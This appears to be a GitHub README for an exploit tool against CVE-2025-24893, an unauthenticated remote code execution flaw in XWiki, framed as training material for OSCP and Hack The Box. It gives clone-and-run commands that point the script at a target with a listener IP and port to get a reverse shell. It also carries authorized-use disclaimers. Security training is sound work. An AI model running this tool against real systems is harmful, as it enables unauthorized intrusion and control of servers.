
OSCP like CVE-2025-24893 exploit for Linux XWiki
XWiki Platform is a generic wiki platform that provides runtime services for applications built on top of it. Due to a vulnerability in the SolrSearch endpoint, an unauthenticated user can achieve arbitrary remote code execution. This vulnerability affects the confidentiality, integrity, and availability of the entire XWiki installation.
CVE: CVE-2025-24893
A demonstration of the exploit is shown below:

To use this exploit, follow these steps:
git clone https://github.com/yourusername/CVE-2025-24893.gitcd CVE-2025-24893pip install requests./CVE-2025-24893_linux-xwiki-exploit.py -t http(s)://[target]:(port) -l [Listener IP] -p [Listener PORT] [-hp [Local HTTP PORT]]
This exploit demonstrates the remote code execution vulnerability described in CVE-2025-24893 and allows an unauthenticated user to obtain a reverse shell on vulnerable Linux-based XWiki installations.
I originally developed this tool for use in training environments such as OSCP preparation labs and Hack The Box, where I wanted a simple and reliable way to reproduce the vulnerability. Since no existing tool met my requirements, I decided to create one.
Although CVE-2025-24893 has long since been patched in supported XWiki releases, this exploit should only be used against systems that you own or are explicitly authorized to test.
The author assumes no responsibility for any misuse of this software or for any damage resulting from its use.
This tool is intended for educational purposes and authorized security assessments only.
Use it only against systems that you own or are explicitly authorized to test. The author assumes no liability for any misuse of this software or for any damages resulting from its use.
Contributions are welcome.
If you encounter bugs, have suggestions for improvements, or would like to add support for additional payloads, platforms, or features, feel free to open an issue or submit a pull request.
Constructive feedback, testing reports, and code contributions are greatly appreciated.